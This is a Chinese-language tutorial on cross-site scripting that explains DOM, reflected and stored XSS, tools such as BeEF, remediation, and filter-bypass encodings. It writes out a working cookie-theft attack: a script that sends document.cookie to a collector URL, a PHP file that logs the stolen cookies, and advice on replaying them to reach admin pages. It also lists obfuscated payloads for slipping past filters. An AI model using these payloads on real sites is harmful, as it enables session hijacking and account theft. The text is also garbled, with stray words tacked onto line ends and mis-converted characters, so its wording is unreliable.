原理:對用戶輸入沒作過濾和處理,是用戶能夠輸入一些東西(例如js),控制輸出達到一些攻擊目的javascript
1.DOM型php
基於DOM的XSS有時也稱爲type0XSS。當用戶可以經過交互修改瀏覽器頁面中的DOM(DocumentObjectModel)並顯示在瀏覽器上時,就有可能產生這種漏洞,從效果上來講它也是反射型XSS。主要區別就是沒有通過服務器後端處理html
經過修改頁面的DOM節點造成的XSS,稱之爲DOMBasedXSS。java
前提是易受攻擊的網站有一個HTML頁面採用不安全的方式從document.location 或document.URL 或 document.referrer獲取數據(或者任何其餘攻擊者能夠修改的對象)。node
簡單例子:spring
1 <HTML> 2 <TITLE>Welcome!</TITLE> 3 Hi 4 <SCRIPT> 5 var pos=document.URL.indexOf("name=")+5; 6 document.write(document.URL.substring(pos,document.URL.length)); 7 </SCRIPT> 8 <BR> 9 Welcome to our system 10 … 11 </HTML>
這個例子是個歡迎頁面,name是截取URL中get過來的name參數sql
正常操做:後端
http://www.vulnerable.site/welcome.html?name=Joe瀏覽器
非正常操做:安全
http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>
將產生xss條件。讓咱們看看爲何:受害者的瀏覽器接收到這個連接,發送HTTP請求到www.vulnerable.site而且接受到上面的HTML頁。受害者的瀏覽器開始解析這個HTML爲DOM,DOM包含一個對象叫document,document裏面有個URL屬性,這個屬性裏填充着當前頁面的URL。當解析器到達javascript代碼,它會執行它而且修改你的HTML頁面。假若代碼中引用了document.URL,那麼,這部分字符串將會在解析時嵌入到HTML中,而後當即解析,同時,javascript代碼會找到(alert(…))而且在同一個頁面執行它,這就產生了xss的條件。
注意:
1. 惡意程序腳本在任什麼時候候不會嵌入處處於天然狀態下的HTML頁面(這和其餘種類的xss不太同樣)。
2.這個攻擊只有在當url不是直接在地址欄輸入,Mozilla.會自動轉換在document.URL中字符<和>(轉化爲%3C 和 %3E),所以在就不會受到上面示例那樣的攻擊了,在IE6下沒有轉換<和>,所以他很容易受到攻擊。
固然,直接嵌入到HTML只是攻擊的一個掛載點,有不少腳本不須要依賴<和>漏洞,所以Mozilla一般也是沒法阻止這些攻擊的。
【這段出自:http://www.oschina.net/translate/dom-based-xss-of-third-kind】
如:<div id="aa">這是內容</div> ,咱們能夠經過 document.getElementById('aa').innerHTML 來獲取id爲aa的對象的內嵌內容;
也能夠對某對象插入內容,如 document.getElementById('abc').innerHTML='這是被插入的內容'; 這樣就能向id爲abc的對象插入內容。
2 反射型:某url存在xss漏洞,攻擊者經過植入xss代碼,讓受害者訪問觸發,反射型跨站http://127.0.0.1/xss1.php?name=op<script>alert(1)</script>
3.存儲型:某url下的留言本或評論區存在xss漏洞,攻擊者經過植入xss代碼,讓受害者訪問觸發,存儲型跨站。留言板
與csrf結合的思考,構造帶xss的連接請求放在B站上藏匿,受害者訪問脆弱的a站,又同時訪問B站,渲染B站時或點擊、移動鼠標使惡意連接觸發,向A站發送請求同時瀏覽器被攻擊者控制,能夠任意和A站交互
漏洞的發現:手工或這工具掃描AWVS等
awvs注意裏面id的位置,手工測試輸入,對可控的變量進行測試回顯,看瀏覽器回顯的html文檔,一邊測試一邊繞過
漏洞的利用:beef或者xss平臺、xsser
把beef的127.0.0.1:3000/hook.js 和xss平臺經過各類方式get post等等在瀏覽器構造,騙取用戶打開,利用效果取決於受害者權限,獲取cookie、地理位置、劫持瀏覽器是沒有問題的。
注意:
xss平臺使用要注意插入閉合</scrpit>"<本身的xss代碼>//)
獲取到cookie之後能夠用啊d也能夠用cookietamper等這些修改cooike的插件帶着cookie去訪問網站。並且要注意訪問/admin,不是/admin/login.php
手寫獲取cookie的js方法:
生成cookie的php:
<?php $cookie = $_GET['c']; //接受c的參數複製給cookie,爲後面作模擬方便 $url= $_GET['u']; //賦值url $file = fopen("cookie.html","w+"); //將接受值寫入html文件 fwrite($file,"url地址:"); fwrite($file,$url); fwrite($file,":"); fwrite($file,$cookie); fwrite($file,"<hr>"); fclose($file); ?>
利用的獲取cookie的js代碼:
<script> var cookie=document.cookie; //聲明變量獲取cookie,賦值給cookie var url =window.location.href; //js獲取url的方法 alert(url); var c="http://127.0.0.1/cookiexss.php?c="; //var u="http://127.0.0.1/cookiexss.php?u="; window.location.href=c+cookie+"&u="+url;//window.location.href打開指定地址http://127.0.0.1/cookiexss.php?c=cookie值&u=url值
</script>
只要在脆弱站點A植入以上js代碼,js經過執行調用的php,生成一個html,裏面包含用戶在瀏覽A站的cookie和url
修復
1.在輸入點過濾敏感關鍵字
2.innerHTML=encodeHTML([輸出])
a) 全局攔截 (全局過濾器、攔截器),適用於不包含富文本的狀況
Servlet的doFilter、Spring的Interceptor類,對全部的訪問請求進行監聽。正確的姿式是在過濾器中對<>&’」=等字符轉義處理,可以使用ESAPI或者common-lang.jar的StringEscapeUtils類或者Spring的HtmlUtils來實現。
b)富文本交互,白名單過濾
ESAPI.validator().getValidSafeHTML(「getValidSafeHTML」, keyword, keyword.length(), true)
白名單:JavaVulnerableLab/vulnerability/xss/xss4.jsp
a)項目級過濾
<context-param>
<param-name>defaultHtmlEscape</param-name>
<param-value>true</param-value>
</context-param>
b)頁面級過濾
在包含form的jsp頁面中添加
<spring:htmlEscape defaultHtmlEscape=」true」 />
c)表單元素級過濾
在form元素中添加
<form:form htmlEscape=「true」>或
<form:input path=」someFormField」 htmlEscape=」true」 />
3.springMVC中的WebBindingInitializer和@InitBinder
4.推薦XSS規則過濾引擎:OWASP AntiSamp或者Java HTML Sanitizer
3.HttpOnly
若是在cookie中設置了HttpOnly屬性,那麼經過javaScript腳本將沒法讀取到cookie信息,這樣能有效的防止XSS攻擊,可是注意,只是不能讀取,可是能夠覆蓋,攻擊者若是發現網站的XSS漏洞,就能夠利用HttpOnly cookie發動session fixation攻擊。
繞過:
四種超級基礎的繞過方法。
1.轉換爲ASCII碼
例子:原腳本爲<script>alert(‘I love F4ck’)</script >
經過轉換,變成:
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>
2.轉換爲HEX(十六進制)
例子:原腳本爲<script>alert(‘I love F4ck’)</script>
經過轉換,變成:
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e
轉換爲base64
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4
K">
能夠看到會刷新,刷新時解密base64
3.轉換腳本的大小寫
例子:原腳本爲<script>alert(‘I love F4ck’)</script>
轉換爲:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>
4.增長閉合標記」>
例子:原腳本爲<script>alert(‘I love F4ck’)</script>
轉換爲:」><script>alert(‘I love F4ck’)</script>
5.變量增長
分紅三條語句
6.相似
有轉義:
payload:
http://www.xiaodi8.com/hack/xss/example7.php?name=1';alert($a);//
閉合變量
過waf:
不論是XSS仍是sql注入等,思路老是同樣的,無非幾種:
1.關鍵字打亂
2.替換更改
3.猜分組合
4.編碼解碼
5.函數調用